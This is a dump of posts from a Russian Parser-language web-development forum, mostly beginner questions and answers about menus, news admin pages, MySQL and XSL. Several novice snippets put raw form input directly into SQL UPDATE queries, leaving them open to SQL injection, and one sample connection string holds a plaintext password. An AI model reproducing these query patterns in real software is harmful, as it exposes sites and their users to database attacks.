3) Незнаю как правильно или оптимально написать код на парсере (код выдаёт ошибку ..., на этом участке ..., что ему неравится?)\
4) Мне влом читать доку и примеры, помогите ;)"
"30135","# в auto.p пишешь :\
\
@menu[path;otstup][m]\
$m[^table::load[${path}menu.cfg]\
^m.menu{\
	^for[i](1;$otstup){<img src=\"space.gif\" width=\"10\" height=\"10\">}\
	<a href=\"$m.uri\">$m.title</a><br>\
	^if($m.uri eq $request:uri){\
		^menu[$m.uri;2]\
	}\
}\
\
# в нужном месте в index.html вставляешь ^menu[/;0]\
# space.gif - прозрачный квадратик для отступа\
\
Не гарантирую, что ошибок нет :)"
"30136","[b]Огромная просьба ко всем, кто тут на форуме АС :\
пожалуйтса, указывайте для нас, серых, хоть ключевые слова для поиска ответов, раз уж непосредственно ссылку дать или ответ вручную написать тяжко...[/b]"
"30137","А кроме шуток,\
\
1) данные храняться в файлике .cfg, где у каждой строки есть СОПОСТАВЛЕННЫЙ НОМЕР РОДИТЕЛЬСКОГО раздела. список разделов в том же файле (или в другом). \
\
3) я не до конца понимаю использование всех операторов (for, while, if) и условий, поэтому мой код выдает то:\
а) раздел 1 => под ним подразделы; раздел 2 => подразделы без СОКРЫТИЯ НЕАКТИВНОГО раздела\
б) выдает ДУБЛИКАТЫ моею меню в 10-20-30 ЭКЗЕМПЛЯРАХ. -))\
в) еще всякую фигню.\
\
итого: моя задача - написать функции\
   а) вывода ИМЕН разделов\
   б) вывода ИМЕН ПОДРАЗДЕЛОВ ТОЛЬКО АКТИВНОГО РАЗДЕЛА\
в выходные этот эксперимент не удался, поэтому обратился в форум."
"30138","Нужен магазин, наподобие этого: http://www.plati.ru"
"30139","Тем не менее основную мысль треда и я изложил.\
Каждому сообщению свой файл. (файл играет роль строки в таблице, так быстрее происходит поиск нужной строки, а это существенно ускоряет работу)\
Как и какую информацию вы будете размещать, зависит от решаемой задачи."
"30140","1) данные храняться в файлике .cfg, где у каждой строки есть СОПОСТАВЛЕННЫЙ НОМЕР РОДИТЕЛЬСКОГО раздела. список разделов в том же файле (или в другом).\
\
В одном структуру я давал\
\
3) В классе table изучите\
Конструктор\
load\
\
Методы\
menu\
select\
\
Возможно потребуется if\
\
Жду кода, и ошибок."
"30143","[code]@main[]\
# достаём таблицу из файла\
$menu_table[^table::load[./songslist.cfg]]\
# Вызываем метод построения меню древовидной структуры\
^menu_build[0]\
\
# метод построения меню древовидной структуры\
@menu_build[parent_id][level,menu_tmp]\
\
# Ищем корневые элементы менню текущего уровня\
$menu_tmp.select[^menu_table.select[parent_id == ^parent_id.int(0)]]\
\
# Выводим элементы текущего уровня\
^menu_tmp.menu{\
<li>\
# Офрмляем текущий элемент уровня\
	<a href=\"$menu_tmp.url\">$menu_tmp.name</a>\
</li>\
\
\
<ul>\
# Метод вызывает сам себя для простроения следующего уровня\
	^menu_build[$menu_tmp.parent_id]\
</ul>\
}\
\
# ЗЫ: Количество уровней ограниченно только ресурсами вашего комьютера/сервера[/code]"
"30144","Миша, можно кратко об этих самых конструктарах - шаблонах, используемых в engine?\
или хотя бы пример;-)"
"30145","ссылки нет, поищите в форуме, как он называется"
"30146","друзья, будем друг друга уважать.\
если один раз вопрос рассматривался, задавать его повторно: банальное [b]неуважение[/b] к окружающим."
"30147","Мне нужно сделать в MySQL поле, которое будет хранить краткое описание фильма, но 255 символов будет маловато, нужно хотябы в 2 раза больше.\
\
Как это лучьше сделать?"
"30149","Вы уж извените меня, что беспокою, возможно таким глупым вопросом, но все же. В парсере и в базе данных я недавно, видимо поэтому возник этот трабл, а вот собственно и он:\
\
<b>код:</b>\
\
^connect[$connect]{\
        $news[^table::sql{select id, head, body from news}]\
        ^if($news){\
                ^news.menu{\
                        $id[$news.id]\
                        ^if($request:query ne \"edit=$id\"){\
                                <b>id:</b> $news.id <br />\
                                <b>head:</b> $news.head <br />\
                                <b>body:</b> <br /> $news.body <br />\
                                <a href=\"?edit=${id}\">edit</a>\
                                <hr size=\"1\" color=\"#EEEEEE\">\
                                }{\
                                ^if(def $form:head && def $form:body){\
                                        $show_form(0)\
                                        ^void:sql{update news set head = '$form:head', set body = '$form:body' where id = '$id'}\
                                        <font color=\"maroon\"><b>it is edited</b></font>\
                                        }{\
                                        $show_form(1)\
                                        }\
                                }\
                        }\
                }{\
                <font color=\"maroon\"><b>empty db</b></font>\
                }\
        }\
\
^if($show_form){\
        <form method=\"POST\">\
        <input type=\"text\" name=\"head\" value=\"$news.head\" size=\"50\"><br />\
        <textarea name=\"body\" cols=\"70\" rows=\"10\">$news.body</textarea><br />\
        <input type=\"submit\">\
        </form>\
        }\
\
<i># end </i>\
\
расскажу, что я хотел сделать:\
Из базы <i>news</i> ыдираю поля id, head, body. Далее запихиваю их в таблицу и делаю .menu, при это еще один элемент в меню, это ссылка <i>edti</i> под каждым сообщением, <a href=\"?edit=${id}\">, где $id[$news.id], т.е. каждое сообщение имеет ссылку со своим id из базы. При <i>$request:query eq \"edit=$id\"</i> появляется форма ,вместо выбранного\
сообщения с двумя полями <i>head</i> и <i>body</i>, после заполнения которых в базе проискходит <i>update news set head='$form:head', set body='$form:body' <b>where id='$id'</b></i> однако самого update'a не происходит вовсе. Ошибка ,думаю в формах, т.к. при <i>set head='любое слово', set body='любое слово', where id='$id'</i> все работет...\
\
Помогите мне пожалуйста, где ошибка, недочет...\
буду очень признателен..."
"30150","[code]\
#или, если это только в админском интерфейсе, попросту\
… where id = $form:id …\
[/code]"
"30151","есть каталог фоток, имена уникальные.\
забирается список файлов по маске из директории в таблицу:\
$list[^file:list[/i/ph/;^^${day}_${hour}.(gif|jpg|JPG|GIF)^$]]\
\
как найти файл с определенным именем, но не известным расширением?\
т.е., к примеру, мне нужно найти файл с именем: 12_34.*\
не могу допереть."
"30152","прошу прощения, во-первых, код будет такой: \
\
\
^connect[$connect]{\
        $news[^table::sql{select id, head, body from news}]\
        ^if($news){\
                ^news.menu{\
                        $id[$news.id]\
                        ^if($request:query ne \"edit=$id\"){\
                                <b>id:</b> $news.id <br />\
                                <b>head:</b> $news.head <br />\
                                <b>body:</b> <br /> $news.body <br />\
                                <a href=\"?edit=${id}\">edit</a>\
                                <hr size=\"1\" color=\"#EEEEEE\">\
                                }{\
                                ^if(def $form:head && def $form:body){\
                                        ^void:sql{update news set head = '$form:body', set body = '$form:body' where id = '$id'}\
                                        <font color=\"maroon\"><b>it is edited</b></font>\
                                        }{\
                                        <form method=\"POST\">\
        <input type=\"text\" name=\"head\" value=\"$news.head\" size=\"50\"><br />\
        <textarea name=\"body\" cols=\"70\" rows=\"10\">$news.body</textarea><br />\
        <input type=\"submit\">\
        </form>\
                                        }\
                                }\
                        }\
                }{\
                <font color=\"maroon\"><b>empty db</b></font>\
                }\
        }\
\
# end\
\
во-вторых, я ошибся в своем утверждение, что при update news set head = 'любое слово' все работает, ничего не работает :)\
\
________________________________________________________\
\
ПАФ, простите, я не понял, откуда взялось $form:id и зачем по умолчанию оно 0 (если я не ошибаюсь, int - это целые числа)\
Да, это будет только в админ интерфейсе, но еще раз непонял, откуда $form:id :)"
"30153","VARCHAR - максимум 255\
TINYBLOB, TINYTEXT - 256\
BLOB, TEXT - 65536\
\
Вотъ. А что из этого предпочтительнее выбрать? Вот в чем вопрос."
"30155","^form:id.int(0) - это что бы злые хакеры не уронили ваш сайт.\
Поищите по форуму - ПАФ рассказывал об этом подробнее"
"30156","Первое, что приходит в голову:\
\
$search_count(0) и создать пустую таблицу\
\
1. перебирать через меню\
2. ставить флажки ^search_count.inc[] и пихать в таблицу имена файлов\
3. смотреть в конце $search_count и анализировать\
\
Привет!"
"30157","передали только head и body.\
\
и обновляете запись с id = $id.\
\
задумайтесь, чему равен ваш $id?"
"30159","Спасибо. Но мне бы сейчас хотябы базу обновить через форму :)) , а уж потом с хакерами злыми :)\
\
Я вот нашел одну ошибку у себя:\
^if(def $form:head && def $form:body){\
                                        ^void:sql{update news set head = '$form:head', body = '$form:body' where id = '$id'}\
                                        <font color=\"maroon\"><b>it is edited</b></font>\
                                        }\
\
____________________________________________________________\
\
\
Вы не могли бы теперь поподробнее о злых хакерах и .int(0) :))\
или ссылку, а то через поиск не получилось :)"
"30160","PAF, \
id int primary key auto_increment not null\
------------------------------------------\
А зачем ставить ^form:id.int(0)? я что-то не понимаю, простите :) а главное от куда?"
"30161","tinytext - 255\
text - 54535\
mediumtext - 16 777 215\
longtext - 4 294 967 295"
"30162","http://www.parser.ru/forum/?id=2179"
"30163","большое спасибо :) учту, но ведь я делал только для админки :))\
все равно спасибо :)"
"30164","Есть ли такой драйвер, где можно скачать и какой формат строки подключения?"
"30167","Я делаю новости с разделами, т.е. при добавлении новости, кроме head и body добавляется еще и section_name, чтобы затем, можно было отсеять новости по разделам, имена этих разделов хронятся в section_name...с добавлением и просмотром все нормально, а вот с изменением траблы...ведь чтобы именить новость, нужно сначало выбрать раздел, в котором хранятся новости, затем перебрать все новости с помощью меню, затем исходя из выбранного ид по ссылке после каждой новости выводить форму для изменения...\
вот что я для этого сделал:\
\
^connect[$connect]{\
        $sections[^table::sql{select name from sections}] ^rem{это таблица, где хранятся только имена разделов, для дальнейшего селекта}\
        ^if(def $form:select_section){\
                $edit[^table::sql{select id, head, body from news where section_name = '$form:select_section'}]\
                ^if($edit){\
                        ^edit.menu{\
                                $id[$edit.id]\
                                ^if($request:query ne \"edit=$id\"){\
                                        <b>head:</b> $edit.head<br />\
                                        $edit.body<br />\
                                        <a href=\"?edit=${id}\">edit</a><br /><hr><br />\
                                        }{\
                                        ^if(def $form:head && def $form:body){\
                                                ^void:sql{update news set head = '$form:head', body = '$form:body' where id = '$id'}\
                                                <b>update - ok</b>\
                                                }{\
                                                <form method=\"POST\">\
                                                head: <input type=\"text\" name=\"head\" value=\"$edit.head\"><br />\
                                                body: <br /><textarea name=\"body\" cols=\"70\" rows=\"10\">$edit.body</textarea><br />\
                                                <input type=\"submit\">\
                                                </form>\
                                                }\
                                        }\
                                }\
                        }\
                }{\
                <form method=\"POST\">\
                ^if($sections){\
                        раздел: <select name=\"select_section\">\
                        ^sections.menu{\
                        <option value=\"$sections.name\">$sections.name</option>\
                        }\
                        </select><br />\
                        <input type=\"submit\">\
                        </form>\
                        }\
                }\
        }\
\
__________________________________________________________\
\
после выбора раздела, начинается ^edit.menu всех новостей, у которых section_name равен выбранному из селекта разделу, но после выбора ?edit=$id появляется опять select разделов, где моя ошибка, помогите пожалуйста..."
"30168","[code]\
odbc://DSN=T2000DBServer^;UID=T2000user^;PWD=T2000user^;DB=T2000DB\
[/code]\
Только надо инсталлировать клиента sybase."
"30169","Однако, поиск ведется по жесткому совпадению слова-фразы, поэтому можно сколько угодно искать \"быстродействие метода\" и не найти, потому что все раньше обсуждали \"быстродействие методов\", напрмер... А уж если речь шла о скорости - то и подавно! На одно слово слишком много тредов, на два - меньше, но попаданий мало, а на три и более практически никогда ничего не находится. Если вам известен иной способ поиска - подскажите, сделайте милость! На мои вопросы уже не раз предлагали поискать в форуме, однако по тем словам, которые я считал ключевыми - ничего не находил, а о тех, которые надо было, я и подумать не мог, что они ключевые..."
"30170","Должна же где-то храниться последовательность сообщений, какое первое, какое второе и т.д., т.е. это уже будет один файл-таблица, в нем будет много записей...А судя по рекомендациям, чтобы добавить одну строчку в таблицу, надо всю ее загрузить в память (не говоря уже про удаление строки)...Хотелось бы разобраться, как много ресурсов потребуется для работы с таблицей в несколько сотен строк (хотя бы), быстро ли будет происходить выборка из нее нужной строки и т.п."
"30171","Этим займётся файловая система.\
А вы будете называть файлы напимер\
1.p файл первого сообщения\
2.p файл второго сообщения\
...\
..\
.\
\
Если файл является корневым сообщением треда, то с его номером создаём файл с расширеннием cfg в котором будет описана связь(дерево) файлов(сообщений) треда\
\
Чтобы знать какое сообщение(тред) было последним создаём файл флажок в котором одна цыферь(номер последнего сообщения)\
\
зы: Это, что сразу в голову пришло возможно есть более оптимальный вариант"
"30172","в конце http://www.parser.ru/forum/?id=30157"
"30173","следующее такое сообщение будет неглядя убито.\
\
уважайте окружающих."
"30174","помощи не требуют.\
сворачиваем демагогию."
"30175","как у меня сделано(не самая лучшая организация)\
выбор селектом раздела => вывод списка заголовков новостей даннго раздела(c кнопками, на каждый заголовок, EDIT и DEL) и отдельно от спика ДОБАВИТЬ, а вот по кнопке уже отдаю id новости(все равно уникальные), но при редактировании, все равно ставлю проверку не только на id но и на раздел.\
вроде не так и сложно.\
код не дам."
"30177","скажите что не так? я уважаю остальных, но парсер только учу, имейте и вы уважение, я ведь не такой ас как вы..."
"30178","для пущей наглядности добавьте комментарии к ключевым моментам вашего кода, что-то вроде:\
[code]\
^if(def $form:head && def $form:body){\
^void:sql{update news set head = '$form:head', body = '$form:body' where id = '$id'}\
<b>\
обновляем таблицу, меняем head на '$form:head' а body на '$form:body'\
в строке, id которой равен '$id'.\
</b>\
}\
[/code]"
"30179","Подобного рода операции необходимо делать только с UPDATE и DELETE или они распространяются на SELECT и INSERT"
"30180","идея понятна...\
как-то не очень красиво, но вполне жизнеспособно. наверное...\
интересно, что быстрее кончится: дисковое пространство под кучу файлов или память под загрузку аналогичной таблицы ? :) [шутка]"
"30181","наверное, снова глупость спрошу, но все же:\
в форме поле ввода пароля якобы защищается от \"подглядывания\", но похоже, передается-то в явном открытом виде?\
на сервере будем шифровать, а передаем открыто... это так вообще принято? поглядел на mail.ru - вроде действительно, со стороны клиента никаких шифрований..."
"30182","что-то подсказывает, что следующий код вам поможет:\
[code]\
@search_file[to_find]\
^if(^list.locate(^list.name.pos[$to_find] == 0)){\
   $result[$list.name]\
}{\
   $result[не найдено!]\
}\
[/code]"
"30186","Например так, когда есть известный $filename (без расширения)\
[code]\
$sublist[^list.select(^list.name.match[^^${filename}\\..*^$])]\
[/code]"
"30190","Автор вопроса хотел искать в загруженом списке (таблице т.е.) первый файл, плюя на расширение...то, что я предложил - это и сделает (если я не ступил)... а если ставить задачу шире, т.е. как вы намекаете, тогда либо сразу делать ^file:list с нужной маской, либо уж перебором ^list.menu ..."
"30194","Информацию которую вы или ваши пользователи передают по открытым протоколам не должна быть на столько критичной, чтобы было очень жалко ее потерять. Если это всеже так, то см. ответ ниже."
"30195","В корневом auto.p создал метод\
@p_navigation_made[]\
$menu1[^table::load[menu.txt]]. Из него строиться меню на всех страницах.\
\
Пока локально отлаживал все работало.\
Выложил в инет появляется сообщение \
No such file or directory \
В чем может быть дело"
"30196","проверьте путь до menu.txt или укажите его от корня /menu.txt"
"30199","А если по AppleTalk ?\
ТОгда не потеряется? :)"
"30200","copy/paste, если не лень.."
"30201","скриптом шифруется в md5 со случайным числом, каждый раз новым..."
"30202","Пересобрал. Теперь больше не требует libdl. Забирайте, кому надо."
"30203","в данном контексте (доступ к веб-ресурсам) их бессмысленно сравнивать."
"30204","неудачная шутка :)\
просто Спиранс как всегда умничает о том, в чем не разбирается.\
\"Открытые протоколы\"....\
А открытые системы? Тоесть линух незащищен?"
"30205","Как правило но 90% определяется грамотной политикой, администрирования в том числе. Можно сделать дырявым и самую защищенную систему. Линукс в этом плане не лучше и не хуже других ОС, но вот в чем она сильно хуже, - это в [b]постоянной[/b] работе под действительно большой нагрузкой, при которой её содержание становится непомерно дорогим по сравнению с той же Соларис или True64. FreeBSD кстати этим тоже грешит, т.к. у неё в ядре вообще нет потоков."
"30207","Задача сгенерировать такой кусок HTML:\
[code]\
Текст до разделителя\
<br />*разделитель*<br />\
Текст после разделителя \
[/code]\
\
Исходные данные:\
\
XML:\
[code]\
<СписокНовостей>\
 <Новость>\
  Текст до разделителя\
  <Разделитель />\
  Текст после разделителя\
 </Новость>\
</СписокНовостей>\
[/code]\
\
XSL:\
[code]\
<xsl:template match=\"СписокНовостей\"> \
 <xsl:apply-templates select=\"//Новость[условие]\" />\
</xsl:template>\
<xsl:template match=\"Новость\">\
 [b]\
 <xsl:apply-templates select=\"Разделитель\" />\
 <xsl:value-of select=\".\" />\
 [/b]\
</xsl:template>\
<xsl:template match=\"Разделитель\">\
 <br />*разделитель*<br />\
</xsl:template> \
[/code]\
\
HTML:\
[code]\
<br />*разделитель*<br />\
Текст до разделителя\
Текст после разделителя \
[/code]\
\
Я понимаю почему HTML именно такого вида, \
но как правильно записать [b]выделенный[/b] кусок кода\
чтобы получилось то, что нужно, так и не придумал."
"30208","XML:\
[code]\
<СписокНовостей>\
 <Новость>\
  <Текст>Текст до разделителя</Текс>\
  <Разделитель />\
  <Текст>Текст до разделителя</Текс>\
 </Новость>\
</СписокНовостей>\
[/code]\
\
XSL:\
[code]\
<xsl:template match=\"СписокНовостей\"> \
 <xsl:apply-templates select=\"//Новость[условие]\" />\
</xsl:template>\
\
<xsl:template match=\"Новость\">\
  <xsl:apply-templates/>\
 </xsl:template>\
\
<xsl:template match=\"Текст\">\
  <xsl:value-of select=\".\"/>\
</xsl:template> \
\
<xsl:template match=\"Разделитель\">\
 <br />*разделитель*<br />\
</xsl:template> \
[/code]"
"30209","Вот у меня так и сделано сейчас пока, \
но мне это не нравится, после того, как я выложил в таком формате стихотворение из 10 строк.\
\
Получилось, что каждую строку надо заключать в отдельную пару тэгов.\
Мб есть другие варианты ?"
"30210","XML оставляем как есть\
\
XSL\
<xsl:template match=\"СписокНовостей\"> \
 <xsl:apply-templates select=\"//Новость[условие]\" />\
</xsl:template>\
\
<xsl:template match=\"Новость\">\
	<xsl:for-each select=\".\">\
	    <xsl:apply-templates/>\
	</xsl:for-each>\
 </xsl:template>\
\
<xsl:template match=\"Текст\">\
  <xsl:value-of select=\".\"/>\
</xsl:template> \
\
<xsl:template match=\"Разделитель\">\
 <br />*разделитель*<br />\
</xsl:template>"
"30211","А зачем делать <xsl:for-each select=\".\">?\
\
Достаточно[code]<xsl:template match=\"Новость\">\
    <xsl:apply-templates/>\
</xsl:template>\
\
<xsl:template match=\"Разделитель\">\
    <br />*разделитель*<br />\
</xsl:template>[/code]"
"30212","Ваш ответ http://www.parser.ru/forum/?id=26033 от 06.02. 10:47\
видел но не нашёл как с Вами связаться...\
готов оплатить N-ную сумму за нормальный драйвер для FreeBSD/IB|FB в разумных пределах... в крайнем случае можно организовать фонд, как мне кажеться с миру по копейке - разработчику рупь, а такой драйвер будь он написан был бы востребован."
"30213","имеем достаточно большую БД, по которой надо делать LIKE '%string%' (именно LIKE, полнотекстовый \
поиск не подходит: релевантность не нужна, зато нужно точное совпадение фразы)\
\
далее... результатов поиска может быть много, поэтому нужен постраничный вывод результатов.\
\
раньше делал так:\
1. SELECT COUNT(*) FROM table WHERE name LIKE '%string%' - получаю количество записей\
2. вычисляю сколько будет страниц\
3. определяю limit и offset на основании того, что пришло из $form\
4. SELECT ... FROM table WHERE name LIKE '%string%' ORDER BY name LIMIT X,Y - собственно получаю данные на интересующей странице.\
5. вывожу постраничную навигацию.\
\
LIKE '%string%' - достаточно медленная операция. даже SELECT COUNT(*) ... LIKE '%string%' выполняется \
долго, и в результате имеем 2 запроса с LIKE на страницу.\
к тому-же MySQL 3.x [url=\"http://dev.mysql.com/doc/mysql/ru/MySQL_indexes.html\"]не умеет[/url]\
пользоваться индексами в подобных случаях, хотя индексы на всяких случай созданы были:\
[quot]\
...\
Следующие команды SELECT не будут использовать индексы: \
mysql> SELECT * FROM tbl_name WHERE key_col LIKE \"%Patrick%\";\
...\
[/quot]\
\
решили перейти на MySQL 4.x для которого в доке написано сделующее:\
[quot]\
...\
В версии MySQL 4.0 производится другая оптимизация на выражении LIKE. \
Если используется выражение ... LIKE \"%string%\" и длина строки (string) больше, чем 3 символа, \
то MySQL будет применять алгоритм Турбо Бойера-Мура для инициализации шаблона для строки и \
затем использовать этот шаблон, чтобы выполнить поиск быстрее. \
...\
[/quot]\
\
однако после перехода на 4.x ускорения выполнения подобных запросов обнаружено не было.\
\
однако после изучения документации была обнаружена [url=\"http://dev.mysql.com/doc/mysql/ru/Miscellaneous_functions.html#IDX1334\"]другая фича MySQL 4[/url]:\
[quot]\
...\
[b]FOUND_ROWS() [/b]\
Возвращает количество строк, которые возвратила бы последняя команда SELECT SQL_CALC_FOUND_ROWS ... \
при отсутствии ограничения оператором LIMIT.\
...\
[/quot]\
\
несмотря на то, что в доке есть несколько пугающий комментарий:\
[quot]\
...\
Отметим, что, хотя при использовании команды SELECT SQL_CALC_FOUND_ROWS ..., MySQL должен\
пересчитать все строки в наборе результатов, этот способ все равно быстрее, чем без LIMIT,\
так как не требуется посылать результат клиенту\
...\
[/quot]\
\
я решил попробовать использовать её, для чего несколько изменил алгоритм:\
1. определяем offset/limit на основании того, что пришло из $form\
2. SELECT SQL_CALC_FOUND_ROWS ... FROM table WHERE name LIKE '%string%' ORDER BY name LIMIT X,Y - получаю данные\
3. SELECT FOUND_ROWS() - узнаю сколько всего было бы записей если бы я не указал LIMIT\
4. вычисляем сколько будет страниц\
5. выводим постраничную навигацию.\
\
в результате оказалось, что запрос в п.2 во втором случае выполняется быстрее, чем запрос в п.4 в первом\
случае (почему - я не знаю, и ответа в документации не нашел), а SELECT FOUND_ROWS() выполняется мгновенно.\
\
т.е. как минимум имеем экономию одного запроса с LIKE.\
\
в реалиях оказалось, что если раньше максимальное время выполнения запроса с LIKE частенько превышало 30 сек, \
то после изменения оно ни разу не превысило 6 сек. а в то время, когда в первом случае запрос выполнятся 30 сек\
ещё добавлялось время выполнения SELECT COUNT(*) ... LIKE которое доходило до 5 сек.\
\
правда EXPLAIN при этом показывает более страшную информацию (ALL), но я уж прямо и не знаю чему\
верить: логу с реальными цифрами (одна и та-же БД) или результатам EXPLAIN :)\
\
может кому пригодиться.\
\
недостатки подобного подхода:\
1. mysql 4 required\
2. mysql specific, т.е. для переносимости на другой SQL сервер придется переделывать логику.\
3. мой ?mode=debug не работал, т.к. он после каждого запроса он делал EXPLAIN, после\
которого SELECT FOUND_ROWS() возвращает 0. пришлось его переделывать: складывать все запросы в\
кучку и делать explain после [b]всех[/b] живых запросов прямо перед выдачей информации.\
переделаный класс пока не выложил, тестируется..."
"30214","Если отладка win а хостинг *n*x - то могут быть menu.TXT и MENU.txt что суть разные имена."
"30216","Не могу разобраться как подсчитать количество записей в таблице [i]items[/i], у которых [i]category = 1[/i]. Кто знает, прошу помочь.. ;-)"
"30217","Ключевое слово count"
"30218","$n_count(^int:sql{select count(id) from items where category='1'}[$.default{0}])"
"30219","Дана таблица [i]baskets[/i], в которой:\
[i]price[/i] - цена товара\
[i]quantity[/i] - количество товара добавлено в корзину.\
Нужно подсчитать сумму всего, учитывая количество."
"30222","Не могу понять, как вывести таблицу задом наперед, т.е. в обратном порядке... (для гостевой книги нужно, ведь самое новое сообщение должно быть наверху...)\
подскажите пожалуйста..."
"30224","[code]\
$xdoc[^xdoc::load[http://www.cbr.ru/scripts/XML_daily.asp]]\
На\
    ^xdoc.selectString[string(/ValCurs/@Date)]\
курс валюты\
    $node[^xdoc.selectSingle[/ValCurs/Valute[CharCode='USD']]]\
    \"^node.selectString[string(Name)]\"\
равен\
    ^node.selectString[string(Value)]\
[/code]\
\
Скрипт (взятый из документации к Parser'у) выводит значение валюты вида 29,0658. Хочу, чтобы выводил 29,07.\
\
[code]^eval(^node.selectString[string[Value]])[%.2f] выводит 0.00[/code]\
\
Подскажите, плз, как."
"30225","http://www.parser.ru/docs/lang/stringformat.htm"
"30226","Были бы идеи, думаю сюда бы не писал, а делал!"
"30227","Пиши на arto@pisem.net или стучись в асю 63689188"
"30228","Как вы подсчитываете ручками (ну, если не в столбик, то на калькуляторе)? построчно перемножаем и где то все суммируем... :)"
"30229","[code]\
^baskets.menu{\
^$^baskets.price.double[] * ^baskets.quantity.int(1) = ^$^eval(^baskets.price.double[] * ^baskets.quantity.int(1))[%.2f]<br/>\
$var[^eval($var+^eval(^baskets.price.double[] * ^baskets.quantity.int(1))[%.2f])]\
}\
<hr/>\
Итого: ^$$var\
[/code]"
"30230","Спасибо, проблему в общем то решил, переходом на Парсер 2."
"30232","в БД 3 колонки (а не 2)\
\
Цена\
количество\
сумма\
\
Сумма расчитывается при записи/изменении в БД\
А общая сумма расчитывается средствами БД\
\
К томуже в этом случае вы всегда сможете посчитать на какую сумму товаров было продано, за всё время, за какой-то период, - а вероятность нехватки оперативной памяти или процессорного времени будет минимальным или даже сведённым к нулю\
\
ps: думаю третья колонка будет занимать не много места на диске"
"30233","Особенно вот эту часть\
^eval(^baskets.price.double[] * ^baskets.quantity.int(1))[%.2f])\
\
1) Умножение на \"0\" даёт ноль, как следствие считаю .int(1) неуместным, тк за единицу товара надо платить, а в данном случае речь идёт об обраоботке ошибки (например, пришёл текст, а не цыферь)\
2) [%.2f] мне кажется обрезать концы действительным числам здесь неуместно, для достижения большей точности лучше округлить результат до требуемой точности (до копеек)"
"30234","Всё это можно хранить в hashfile, это должно получиться удобнее  чем в файликах, по скорости должно получиться что то аналогичное (более точный ответ по быстродействию даст класс status)"
"30235","как сделать такую штуку:\
допустим, в таблице три столбца name  uri  load\
перебираем таблицу <a href=\"?{table.uri}\">$table.name</a>\
это при $request:query ne $table.uri\
если $request:query eq $table.uri, должен ,допустим, загружаться третий столбец из таблицы \"load\", при это перебор таблицы должен закончиться и отображаться должна только строка из load именно той uri на которую нажали, все остальные изчезают. Пробывал много, не помоголо ничего. Помогите пожалуйста...\
\
ЗЫ этот пример был придуман на скорую руку, на описание всей моей проблемы, для которой и был придуман этот пример ушла бы не одна страницы..."
"30236","Посмотрите в документации в классе table методы locate и select возможно они вам помогут\
Также поищите в доке что значит $result - это спасёт вас при вашем варианте."
"30238","1. Я подразумевал что нулю там появится не откуда... что думаю вполне логично.\
\
2. Да действительно это не правильно ибо $10.1 * 3 = $30.3, а не $30.30. Впрочем исправить это несложно.\
\
P.S. Конечно самым правильным решением было бы пересчитывать готовую цену за определенное кол-во товара и писать его в таблицу (3 колонка)."
"30239","1) Судя по документации вы получите не то что хотите\
\
$double(1.5)\
^double.int[]\
\
Выведет число 2\
\
2) И вроде как форматирвание/округление результата производится по другому\
\
$var(15.67678678)\
^var.format[%.2f]\
\
Возвратит: 15.68\
\
\
зы: Написанное выше получено из понимания/непонимания документации и частичного цитирования оной, а не из личного опыта"
"30240","1) Количество товара изначально не может быть 1.5 - поэтому оно int[] а не double[].\
\
2) Оператор eval вычисляет математическое выражение и позволяет вывести результат в нужном виде, задаваемом форматной строкой."
"30241","Объясните зачем он нужен и как им пользоваться. В форуме мало что есть про него, в доках еще меньше. \
\
Что в него записывать? Зачем? Как? Что значит число секунд хранения? Дата устаревания? Сколько секунд писать, исходя из чего писать столько секунд, а не столько...? и что означает ^cache(0)? \
\
Спасибо"
"30242","[quote]В форуме мало что есть про него, в доках еще меньше.[/quote]\
для начала http://www.parser.ru/examples/cache/\
\
если мало, делаем поиск по ключевому слову \"кеширование\", фильтруем по автору \"Misha v.3\" :)\
вот несколько из найденных тредов по теме:\
\
http://www.parser.ru/forum/?id=12103\
http://www.parser.ru/forum/?id=22306\
http://www.parser.ru/forum/?id=22358\
http://www.parser.ru/forum/?id=25159\
\
там почитать надолго хватит..."
"30243","Возможно ли, чтобы парсер читал куку, установленную через javascript?\
\
Например, если ставить куку вот так:\
function set_cookie(sName,sValue){\
document.cookie = sName + \"=\" + escape(sValue) + \"; expires=Fri, 31 Dec 2005 23:59:59 GMT;\";\
}\
то после обновления страницы jscript ее читает, а метод $cookie:имя_поля - нет."
"30244","Использую похожий скрипт:\
\
function SetCookie(name, value, days){\
var today = new Date();\
expires = new Date(today.getTime() + days*24*60*60*1000);\
	document.cookie = name + \"=\" + escape(value) +\"; expires=\" + expires.toGMTString();\
}\
\
И куки ставятся нормально, и читаются нормально."
"30245","Вот это «укоротить» можно?\
[code]$usd[^node.selectString[string(Value)]]\
$usd_ready[^usd.match[,][g]{.}]\
^usd_ready.format[%.2f][/code]\
\
Хотя можно проще:\
[code]\
$usd[^node.selectString[string(Value)]]\
^usd.left(5)\
[/code]\
Но хотелось бы «число»..."
"30246","XML:\
\
[code]\
<СписокНовостей>\
 <Новость>\
  Текст до разделителя\
  <Разделитель />\
  Текст после разделителя\
 </Новость>\
</СписокНовостей>\
[/code]\
\
Т.к. писать в каждой строке <Текст></Текст> очень не удобно."
"30248","[code]$usd[^node.selectNumber[number(translate(Value, ',', '.'))]][/code]"
"30251","Я пишу новости чуть посложнее чем в доках. Но вот запутался немного. Помогите разобраться. Думаю первой моей ошибкой было то, что я начал с админки, а не с самих новостей. Сделал добавление, удаление и изменение новостей через базу. Кода своего показывать думаю не буду, расскажу на словах что да как у меня:\
В базе есть столбики: head, body, year, month, day первая и вторая, думаю понятно зачем, а вот остальные три столбика я сделал для дальнейшей сортировки новостей. Впринципе новости я хотел сделать как на сайте у анкора http://www.ancor.ru\
Итак, через форму в базу попадают новости, на страницах редактирования и удаления новостей новости выводятся с соответствующей ссылкой ?id=$news.id \
Сразу же хочу спросить, правельный ли я подход организовал к удалению и редактированию новостей? т.е. у меня так:\
если $request:query eq $news.id, то $result[форма для изменения новости при редактировании и удаление новости при удалении]\
\
Ладно с админкой все ок, я вот не пойму, как мне выводить новости, какзалось бы, всего навсего сдeлать ^table::sql, да нет, ведь надо чтобы по месяцам выводилось. Я сделал так: из хеша months с помощью ^for вывожу месяца: \
^for[month](1;12){\
^if($request:query eq $month){\
<b>$months_hash.$month</b> &nbsp\
}{\
сдесь делаем и запрос для таблицы $news_months: новостей where month='$request:query'\
<a href=\"?${month}\">$months_hash.$month &nbsp\
} \
}\
Выше этого кода я вывожу таблицу (если она существует) $news_months, если она не существует, пишу \"таблица пуста\".\
\
Это все работает да не так. Тупо выводить ссылки на месяца, новостей в которых еще нет, да и месяц этот не наступил. Если вы пошли по вышеуказанной ссылке на сайт анкор и заценили там новости, то вы поняли, что я хочу сделать. Я пробовал многое, ничего не помогло, помогите разобраться пожалуйста..."
"30252","0.\
[quot]\
